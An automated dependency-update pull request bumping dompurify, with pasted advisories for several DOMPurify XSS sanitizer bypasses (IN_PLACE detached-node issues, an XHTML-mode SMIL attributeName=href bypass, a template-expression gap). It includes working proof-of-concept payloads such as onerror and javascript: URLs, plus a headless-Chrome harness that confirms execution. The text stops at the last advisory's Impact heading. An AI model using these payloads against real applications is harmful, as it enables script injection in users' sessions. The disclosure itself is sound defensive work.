This PR contains the following updates:
| Package | Type | Update | Change |
| --- | --- | --- | --- |
| dompurify | dependencies | patch | ^3.2.4 → ^3.4.17 |
---
⚠️ Warning
Some dependencies could not be looked up. Check the warning logs for more information.
---
DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes
CVE-2026-109345 / GHSA-6688-9rhm-gjv2
Details
##### Environment
- dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x)
- Config: DOMPurify.sanitize(node, { IN''PLACE: true }) on a Node input; SAFE''FOR_XML at its default ( true )
##### Summary
The 3.4.9 fix for the IN''PLACE detached-root class added two protections on the IN''PLACE return path: a fail-closed TypeError in forceRemove when a node selected for removal cannot be detached, and a ''neutralizeSubtree pass ( dist/purify.js line 1336) that strips non-allowlisted '''attributes' from removed subtrees.
Both miss the rawtext text-content** form. When the force-removed root is a rawtext element ( <style> ), the payload lives in the node's *text*: the node detaches fine (the TypeError guard is not reached), ''neutralizeSubtree strips nothing (there are no attributes), and the IN''PLACE exit returns the detached, never-sanitized <style> whose text still carries live markup. Serializing that node and re-parsing it in **plain HTML context materializes the payload — no foreign-content context required.
The same Node input sanitized without IN''PLACE returns an empty result: the only difference is the IN''PLACE return path handing the killed node back.
##### Steps to reproduce
{{{js const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); // 3.4.15
const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window);
const styleRoot = window.document.createElement('style'); styleRoot.setAttribute('onclick', 'alert(1)'); // attribute payload styleRoot.textContent = '</style><img src=x onerror=1>'; // text payload window.document.body.appendChild(styleRoot);
const returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true });
console.log(returned === styleRoot); // true (same node) console.log(styleRoot.parentNode === null); // true (detached) console.log(styleRoot.outerHTML); // <style></style><img src=x onerror=1></style> console.log(styleRoot.getAttribute('onclick')); // null (attribute neutralized) console.log(styleRoot.textContent); // '</style><img src=x onerror=1>' (text survives)
// plain HTML reparse (no foreign-content context involved): const probe = window.document.createElement('div'); probe.innerHTML = returned.outerHTML || styleRoot.outerHTML; console.log(probe.querySelectorAll('img').length); // 1 console.log(probe.querySelector('img').getAttribute('onerror')); // "1"
Observed on 3.4.15: one node, one call — the onclick '''attribute** is neutralized while the **text''' payload ( </style><img src=x onerror=1> ) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the img with the live onerror handler.
Contrast on the same Node input without IN''PLACE : RETURN''DOM: true → <body></body> ; RETURN''DOM''FRAGMENT: true → 0 children — the payload is fully sanitized away. The only difference is the IN_PLACE return path.
Contrast on the removal trigger: SAFE''FOR''XML: false → the node is not removed (detached stays false); plain CSS text → not removed. The removal is gated by the mXSS text probes and happens *specifically because* the serialized node would re-open tags on reparse.
##### Root cause
''isUnsafeNode ( dist/purify.js 3.4.15, lines 1700–1714) removes nodes whose literal text would re-open tags on reparse — shape (b) in the source comment is "text-only content that already carries the element's OWN end tag", detected by the LITERAL''TEXT''CLOSE probe (line 385) alongside the ELEMENT''MARKUP''PROBE (line 339) rules. ''forceRemove (line 1122) records the node in DOMPurify.removed ( {element} ) and detaches it. The removal is intentional: the upstream comment states these shapes are removed '''because the literal serializer emits them verbatim for the HTML parser to re-open'''.
The IN''PLACE exit then hands the force-removed root back to the caller — the very node whose removal DOMPurify.removed just recorded (verified: DOMPurify.removed.some(e => e.element === root) is true on the returned instance). The 3.4.9 ''neutralizeSubtree pass (line 1336) addresses only the attribute form — its own docstring: "walks a removed subtree and strips every attribute" (purpose: cancel queued resource events). Rawtext text content is out of its scope, so the removal that was performed *specifically to prevent reparse* is undone by returning the node: you removed it to stop the reparse, then returned it.
Differential (one node, one call, same removal path): the onclick attribute is neutralized by the existing pass while the text payload survives verbatim — the attribute axis is covered, the text axis is the gap.
##### Impact
Identical blast radius to the published IN''PLACE family: an application that sanitizes a Node in IN''PLACE mode and re-inserts (or serializes and then re-inserts) the result materializes attacker markup in plain HTML context: script execution in the page. Moving the returned node via appendChild alone is safe; the round trip through serialization is what fires the payload. No foreign-content context is required with the close-tag payload.
##### Affected versions
- Verified live: 3.4.15 (current).
- Source-verified: the attribute-only ''neutralizeSubtree and the IN''PLACE return path are present in 3.4.9–3.4.14; releases before 3.4.9 predate the fix entirely (unconditional return; individual pre-3.4.9 releases not dynamically tested).
- Per cure53 advisory convention the affected range is reported as <= 3.4.15 (current at time of writing).
##### Suggested remediation
'''Primary (root-cause, covers every form):''' at the IN_PLACE exit, check whether the returned root was recorded during sanitization — DOMPurify.removed.some(e => e.element === root) — and fail closed: throw the same TypeError style used by the 3.4.9 detach guard ("a node selected for removal could not be safely returned; refusing to sanitize in place"), or return null . This is consistent with the existing fail-closed design and covers all present and future root-kill reasons in one check.
'''Secondary (form-specific):** extend ''neutralizeSubtree to neutralize **text content of rawtext descendants''' — the elements in LITERAL''TEXT''ELEMENT''NAMES ( style , script , xmp , iframe , noembed , noframes , plaintext , noscript ) — by rewriting textContent to a defanged form, matching the probe coverage of ''isUnsafeNode / LITERAL''TEXT_CLOSE .
A regression test asserting that a force-removed rawtext root comes back with no /<[/\w!]/ match in textContent (and is not returned at all under the primary fix) prevents re-introduction.
##### Prior art / differentiation
- GHSA-r47g-fvhr-h676 (fixed 3.4.6): clobbered-form '''root''' removal — different trigger; this report's root is a normal allowlisted style element killed by the text probe.
- GHSA-55q2-fjhq-7xh7 (low): IN''PLACE '''hook removal** leaves a detached subtree executable — the attribute-form twin (hook-stripped subtree retains onload-class handlers). This report's rawtext **text''' form is not covered by ''neutralizeSubtree 's attribute stripping and is not that advisory.
- GHSA-h8r8-wccr-v5f2 (medium): mXSS via re-contextualization in the standard (non-IN''PLACE) serialize path — different mechanism; IN''PLACE is not involved.
- The 3.4.9 release notes credit @mozfreedyb for the IN_PLACE handling improvements that this residual escapes on the text axis.
##### Applicability scope (stated up front)
The payload materializes when the application '''serializes and re-parses** the sanitizer output ( innerHTML assignment, template rendering, markdown/HTML round trips) or otherwise consumes the returned node's markup. Moving the returned node via appendChild alone does not trigger it. Applications that pass **live, connected attacker trees''' into IN''PLACE are explicitly warned against by upstream's own source comment; this report concerns the serialize-and-reinsert consumption pattern that the IN''PLACE mode exists to serve.
=== Severity ===
Low
=== References ===
- [https://github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2 https://github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2]
- [https://github.com/cure53/DOMPurify/pull/1636 https://github.com/cure53/DOMPurify/pull/1636]
- [https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7 https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7]
- [https://github.com/cure53/DOMPurify https://github.com/cure53/DOMPurify]
- [https://github.com/cure53/DOMPurify/releases/tag/3.4.16 https://github.com/cure53/DOMPurify/releases/tag/3.4.16]
This data is provided by [https://osv.dev/vulnerability/GHSA-6688-9rhm-gjv2 OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).
---
== DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS ==
[https://nvd.nist.gov/vuln/detail/CVE-2026-109344 CVE-2026-109344] / [https://github.com/advisories/GHSA-p98j-92pf-mc4p GHSA-p98j-92pf-mc4p]
=== Details ===
##### Summary
In IN''PLACE mode DOMPurify sanitizes the caller's live DOM subtree directly. To close a known hazard (GHSA-55q2-fjhq-7xh7), the library neutralizes any node a hook detaches during sanitization by stripping its subtree's non-allow-listed attributes, but this neutralization is wired only into the beforeSanitizeElements and uponSanitizeElement hook sites. An afterSanitizeElements or afterSanitizeAttributes hook that removes a non-root element (a documented, supported pattern) detaches that element's subtree with no neutralization, so descendant on* handlers remain armed on the caller's live tree after sanitize() returns, yielding DOM XSS. No special privilege is required beyond supplying markup to an application that uses IN''PLACE together with a node-removing afterSanitize hook.
##### Root Cause
IN''PLACE sanitization mutates the caller's live document, so any element a hook detaches from that tree must have its subtree neutralized before sanitize() returns; otherwise a queued resource-event handler (for example an <img onerror> that began loading when the caller built the tree) fires in page scope even though the handler never reached the sanitized output. The guard helper ''handleHookDetachedNode (which calls ''neutralizeSubtree in IN''PLACE ) is invoked only after beforeSanitizeElements and after uponSanitizeElement . It is never invoked from the afterSanitize return paths, and ''sanitizeAttributes never calls it at all. The post-walk IN''PLACE neutralization pass iterates only DOMPurify.removed , and hook-detached nodes are intentionally not recorded there, so that pass cannot reach them either.
{{{text
src/purify.ts
''sanitizeElements: ''handleHookDetachedNode present at lines 2142 and 2175
(before/upon), absent after afterSanitizeElements at lines 2208 and 2249.
_sanitizeAttributes: afterSanitizeAttributes fires at line 2670 with no
detach re-check; the function never calls _handleHookDetachedNode.
Post-walk IN_PLACE pass (lines 3081-3090) iterates DOMPurify.removed only,
which by design (comment at lines 2096-2099) excludes hook-detached nodes.
{{{
##### Impact
An attacker who supplies markup processed by a victim application that runs DOMPurify.sanitize(node, { IN''PLACE: true }) and registers a node-removing afterSanitizeElements or afterSanitizeAttributes hook can retain arbitrary on* event handlers on descendants of a removed non-root element. Because IN''PLACE operates on the caller's live document, a queued resource-event handler on such a descendant fires in the page origin after the synchronous sanitize() call returns, giving script execution in the victim's session (DOM XSS). This defeats DOMPurify's IN_PLACE contract to neutralize handlers on subtrees removed from the live tree. The capability is script execution in the victim origin; exact confidentiality and integrity effects depend on the hosting application's session.
##### Proof of Concept
{{{text
Dependencies: Node.js and jsdom. The harness builds a live tree, registers a
removal hook, runs IN_PLACE sanitize(), then inspects whether the attacker
onerror handler survives on the detached descendant. jsdom does not perform
real image loads, so the retained handler (rather than an actual fired event)
is the observed hazard; the retained on* attribute on a live detached node
after a synchronous sanitize() return is the neutralization failure.
{{{
Reproduction steps:
1. Build a live subtree #root > section#wrap > img[onerror] where #root is the walk root and section#wrap is a non-root wrapper.
2. Register an afterSanitizeElements (or afterSanitizeAttributes ) hook that calls node.remove() on the wrapper.
3. Call DOMPurify.sanitize(root, { IN_PLACE: true }) .
4. Observe that the descendant <img> retains its onerror handler, whereas the same removal performed in a beforeSanitizeElements / uponSanitizeElement hook strips it.
{{{javascript
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const { window } = new JSDOM('<!DOCTYPE html><body></body>');
const DOMPurify = createDOMPurify(window);
const root = window.document.createElement('div');
root.id = 'root';
root.innerHTML = '<section id="wrap"><img src="x" onerror="ATTACKER()"></section>';
window.document.body.appendChild(root);
DOMPurify.addHook('afterSanitizeElements', (node) => {
if (node.id === 'wrap') node.remove();
});
DOMPurify.sanitize(root, { IN_PLACE: true });
// The detached <img> still carries its onerror handler:
console.log(root.querySelector('#wrap') === null, // true (removed from live tree)
!!window.document.querySelector('img[onerror]') || // handler survives on the detached node
root.innerHTML);
{{{
{{{text
PASS: beforeSanitizeElements detach neutralizes descendant onerror (control)
PASS: uponSanitizeElement detach neutralizes descendant onerror (control)
PASS: without a removal hook the descendant onerror is stripped normally
PASS: afterSanitizeElements detach LEAVES descendant onerror armed (GAP)
PASS: afterSanitizeAttributes detach LEAVES descendant onerror armed (GAP)
PASS: kept custom element removed in afterSanitizeElements leaves descendant onerror armed (GAP)
{{{
##### Attack Chain
1. '''Exposure:''' The victim application calls DOMPurify.sanitize(liveNode, { IN_PLACE: true }) on attacker-influenced markup and has registered a node-removing afterSanitizeElements or afterSanitizeAttributes hook per an application policy ( src/purify.ts:3026 walk, 2136 element pass, 2522 attribute pass).
2. '''Control:''' The attacker controls the markup, including a non-root wrapper element and, inside it, a descendant carrying an on* resource-event handler such as <img src=x onerror=...> .
3. '''Path:''' The pre-order walk visits the wrapper before its descendants. During the wrapper's element or attribute pass the application hook detaches the wrapper from the live tree.
4. '''Guard:''' The detach-neutralization guard ''handleHookDetachedNode runs only after beforeSanitizeElements ( 2142 ) and uponSanitizeElement ( 2175 ); it is absent after afterSanitizeElements ( 2208 , 2249 ) and is never called by ''sanitizeAttributes (afterSanitizeAttributes at 2670 ). The NodeIterator advances past the detached subtree, so the descendants are never revisited, and the post-walk pass iterates only DOMPurify.removed , which excludes hook-detached nodes.
5. '''Primitive:''' The descendant retains its on* handler on the caller's live document after sanitize() returns.
6. '''Result:''' The queued resource event fires the attacker handler in the victim page origin, achieving DOM XSS despite IN_PLACE sanitization.
##### Bypass Evidence
The relevant prior fix is GHSA-55q2-fjhq-7xh7 ("IN''PLACE hook removal leaves a detached subtree executable, causing XSS"), whose change ( #1557 ) added ''neutralizeSubtree at the beforeSanitizeElements and uponSanitizeElement detach sites. Inspection of that change shows it touches no afterSanitize site: the diff adds the neutralization only at the before/upon locations, later refactored into _handleHookDetachedNode at src/purify.ts:2142 and 2175 . A subsequent hardening change ( #1616 ) added a rootWasRemoved throw and a neutralization sweep over DOMPurify.removed , but that sweep still iterates only DOMPurify.removed , which by design excludes hook-detached non-root nodes, so it does not close this gap. The afterSanitizeElements -on-kept-custom-element site at 2208 was itself introduced by the fix for GHSA-c2j3-45gr-mqc4 ( #1527 ), adding another uncovered hook site.
Disproof attempts, all failed: (a) that a later release closed the afterSanitize gap, refuted by inspecting the published 3.4.13, 3.4.14, and 3.4.15 artifacts; (b) that detached descendants are revisited or re-sanitized, refuted at runtime (the onerror is retained only at the afterSanitize sites and stripped at the before/upon sites and with no removal hook); (c) that the post-walk pass catches hook-detached nodes, refuted by the design that excludes them from DOMPurify.removed ; (d) that the precondition is contrived, refuted by parity with the accepted GHSA-55q2 threat model and the library's own supported pattern of removing a node inside afterSanitizeElements . The only edge not directly executed is the browser resource-event dispatch (jsdom performs no real image load); it is established by the proven retention of the live handler after a synchronous return, the library's own comments describing exactly this hazard, and parity with the accepted GHSA-55q2 mechanism.
##### Affected Versions
- Ecosystem: npm
- Package: dompurify
- Confirmed affected range: >= 3.4.13, <= 3.4.15
- Latest release checked: 3.4.15 (npm registry)
- Fix status: fixed in 3.4.16
The before/upon detach neutralization introduced for GHSA-55q2-fjhq-7xh7 first shipped in 3.4.13; the residual afterSanitize gap was verified by reproducing it against the published npm artifacts for 3.4.13, 3.4.14, and 3.4.15. The 3.4.12 artifact predates that neutralization and behaves differently at the before/upon sites, so it is outside this specific incomplete-fix range. No release through 3.4.15 neutralizes detached subtrees at the afterSanitize sites, so no fixed version is established.
##### Suggested Fix
Enforce the same IN''PLACE detach-neutralization invariant at every hook site that can detach a node, not only the before/upon sites. Concretely, apply a ''handleHookDetachedNode(currentNode, root) re-check after afterSanitizeElements at both src/purify.ts:2208 and 2249 (returning as removed when the node was detached), and add an equivalent IN''PLACE detach check plus ''neutralizeSubtree after afterSanitizeAttributes at 2670 . As an interim mitigation without a code change, applications using IN''PLACE can avoid removing nodes inside afterSanitizeElements / afterSanitizeAttributes hooks and instead perform such removals in beforeSanitizeElements / uponSanitizeElement , or avoid IN''PLACE for attacker-influenced content.
Reported by zx (GitHub: @manus-pi).
=== Severity ===
- CVSS Score: 2.3 / 10 (Low)
- Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
=== References ===
- [https://github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p https://github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p]
- [https://github.com/cure53/DOMPurify/pull/1636 https://github.com/cure53/DOMPurify/pull/1636]
- [https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7 https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7]
- [https://github.com/cure53/DOMPurify https://github.com/cure53/DOMPurify]
- [https://github.com/cure53/DOMPurify/releases/tag/3.4.16 https://github.com/cure53/DOMPurify/releases/tag/3.4.16]
This data is provided by [https://osv.dev/vulnerability/GHSA-p98j-92pf-mc4p OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).
---
== DOMPurify: SMIL attributeName=href guard is skipped when PARSER''MEDIA''TYPE is application/xhtml+xml ==
[https://github.com/advisories/GHSA-c6gr-qvv4-5v3f GHSA-c6gr-qvv4-5v3f]
=== Details ===
##### Summary
DOMPurify drops attributeName attributes whose value contains href , so an allowed <animate> or <set> can't rewrite a link's href after sanitizing. The check compares the attribute name after transformCaseFunc , and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled attributeName , so the comparison with "attributename" never matches and the guard does nothing.
An app that uses PARSER''MEDIA''TYPE: 'application/xhtml+xml' and allows animate and attributeName will keep <animate attributeName="href" values="x;javascript:alert(1)"> . Clicking the parent link then runs the script.
This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.
##### Details
In _sanitizeAttributes (dist/purify.js line 2216 in 3.4.16):
{{{js
const lcName = transformCaseFunc(name);
...
if (lcName === "attributename" && stringMatch(value, "href")) {
_removeAttribute(name, currentNode, attr);
continue;
}
{{{
transformCaseFunc is stringToLowerCase for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name attributeName , so in XHTML mode lcName is attributeName and the branch never runs.
People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so ALLOWED''ATTR / ADD''ATTR: ['attributeName', ...] is the config you'd naturally write here.
The value also passes the URI check. IS''ALLOWED''URI only checks the start of the string, and x;javascript:alert(1) looks like a relative value. SMIL reads values as a ; list and, with fill="freeze" , the last entry ends up as the effective href of the parent <a> .
In text/html mode the same allowlist is handled correctly. The name is lowercased and attributeName is removed.
This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.
##### Proof of concept
Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.
Config:
{{{js
const cfg = {
PARSER''MEDIA''TYPE: 'application/xhtml+xml',
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
{{{
{ PARSER''MEDIA''TYPE: 'application/xhtml+xml', USE''PROFILES: { svg: true }, ADD''TAGS: ['animate'], ADD_ATTR: ['attributeName'] } behaves the same.
Input:
{{{html
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>
{{{
Steps:
1. Save this as poc.xhtml next to purify.js (3.4.16) and open it in Chrome. The .xhtml extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.
{{{html
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
PARSER''MEDIA''TYPE: 'application/xhtml+xml',
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>
{{{
2. The logged output still contains attributeName="href" and values="x;javascript:alert(1)" .
3. document.getElementById('q').href.animVal returns "javascript:alert(1)" .
4. Click "click" and alert(1) runs.
As a control, remove PARSER''MEDIA''TYPE and change the allowlist entry to attributename . The output then loses attributeName , href.animVal is "" , and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.
An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.
{{{bash
#!/usr/bin/env bash
##### PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.
#
##### Sanitizes an SVG payload with a PARSER''MEDIA''TYPE:"application/xhtml+xml"
##### config that allow-lists <animate> + attributeName, renders the output into
##### div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse
##### event and reports whether alert() fired. Also runs the same allowlist in
##### text/html mode as a control (DOMPurify strips attributeName there).
#
##### usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via npm pack )
##### DOMPURIFY_JS=/path/to/purify.js ./poc.sh
##### CHROME=/path/to/chrome ./poc.sh
##### needs: node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
##### exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT
if [ -z "${DOMPURIFY_JS:-}" ]; then
(cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
for c in "$HOME"/.cache/ms-playwright/chromium''headless''shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
"$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
"$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
[ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }
cat > "$WORK/poc.html" <<'EOF'
<!doctype html><meta charset="utf-8"><title>poc</title>
<script src="purify.js"></script>
<div id="sink"></div>
<script>//<![CDATA[
const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' +
'<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' +
'<text x="10" y="40" font-size="30">click</text></a></svg>';
function run(mode) {
const cfg = {
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
if (mode === 'xhtml') cfg.PARSER''MEDIA''TYPE = 'application/xhtml+xml';
const clean = DOMPurify.sanitize(payload, cfg);
document.getElementById('sink').innerHTML = clean;
return clean;
}
//]]></script>
EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"
##### Same test inside a real XHTML document (no HTML<->XHTML context flip):
##### the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \
-e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \
-e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"
cat > "$WORK/drive.js" <<'EOF'
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require('child_process');
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, '.xhtml');
const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',
--user-data-dir=${dir}/profile , 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });
let id = 0, buf = ''; const pend = new Map(), dialogs = [];
p.stdio[4].on('data', (d) => {
buf += d; let i;
while ((i = buf.indexOf('\0')) >= 0) {
const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
else if (m.method === 'Page.javascriptDialogOpening') {
dialogs.push(m.params.message);
send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);
}
}
});
function send(method, params = {}, sessionId) {
return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => {
const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });
const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });
await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);
const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
let vulnerable = false, xhtmlDoc = false;
const ver = async () => ev('DOMPurify.version');
for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {
await send('Page.navigate', { url: page }, s); await sleep(500);
const docType = await ev('document.contentType');
if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]'));
dialogs.length = 0;
const clean = await ev( run(${JSON.stringify(mode)}) );
await sleep(400); // let the 0.01s animation apply (fill=freeze)
const href = await ev( (()=>{const a=document.getElementById('q');return a?a.href.animVal:null})() );
const box = await ev( (()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})() );
if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])
await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);
await sleep(800);
console.log( \n[${mode} mode, sink document ${docType}] sanitized output:\n ${clean} );
console.log( animated <a> href (animVal): ${JSON.stringify(href)} );
console.log( alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'} );
if (mode === 'xhtml' && dialogs.length) vulnerable = true;
if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;
}
console.log(vulnerable ? \nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'}) : '\nRESULT: not vulnerable');
p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);
})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });
EOF
node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"
{{{
##### Impact
Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow animate (or set ) with attributeName , for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.
=== Severity ===
Low
=== References ===
- [https://github.com/cure53/DOMPurify/security/advisories/GHSA-c6gr-qvv4-5v3f https://github.com/cure53/DOMPurify/security/advisories/GHSA-c6gr-qvv4-5v3f]
- [https://github.com/cure53/DOMPurify/pull/1672 https://github.com/cure53/DOMPurify/pull/1672]
- [https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575 https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575]
- [https://github.com/cure53/DOMPurify https://github.com/cure53/DOMPurify]
- [https://github.com/cure53/DOMPurify/releases/tag/3.4.17 https://github.com/cure53/DOMPurify/releases/tag/3.4.17]
This data is provided by [https://osv.dev/vulnerability/GHSA-c6gr-qvv4-5v3f OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).
---
== DOMPurify SAFE''FOR''TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes ==
[https://github.com/advisories/GHSA-cg2g-xh64-v4q7 GHSA-cg2g-xh64-v4q7]
=== Details ===
##### Summary
When DOMPurify is configured with SAFE''FOR''TEMPLATES: true together with a DOM-returning mode ( RETURN''DOM: true , RETURN''DOM''FRAGMENT: true , or IN''PLACE: true ), template expressions such as {{...}} , ${...} , and <%...%> survive sanitization inside the text content of an attached shadow root. The post-walk safety net ''scrubTemplateExpressions ( src/purify.ts:1717 ) was extended to recurse into <template>.content , but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the IN''PLACE and shadow-aware RETURN_DOM surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.
##### Root Cause
SAFE''FOR''TEMPLATES neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk ( ''stripTemplateExpressions , applied in ''sanitizeElements at src/purify.ts:2246 ), and a final post-walk pass ( _scrubTemplateExpressions , src/purify.ts:1717 ) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.
{{{text
_scrubTemplateExpressions (src/purify.ts:1717-1751):
- node.normalize() at line 1718 does not merge text nodes inside shadow roots (DOM spec).
- NodeIterator at lines 1723-1731 does not descend into shadow trees (DOM spec).
- Explicit recursion at lines 1743-1750 enters <template>.content only, via
querySelectorAll('template'); there is no equivalent recursion into attached
shadow roots.
Shadow roots are sanitized earlier by _sanitizeShadowDOM (src/purify.ts:2710), which
applies the per-node strip but never performs the post-walk normalize-and-rescrub.
{{{
Shadow root text nodes are therefore sanitized only per-node and never re-examined as a merged unit.
##### Impact
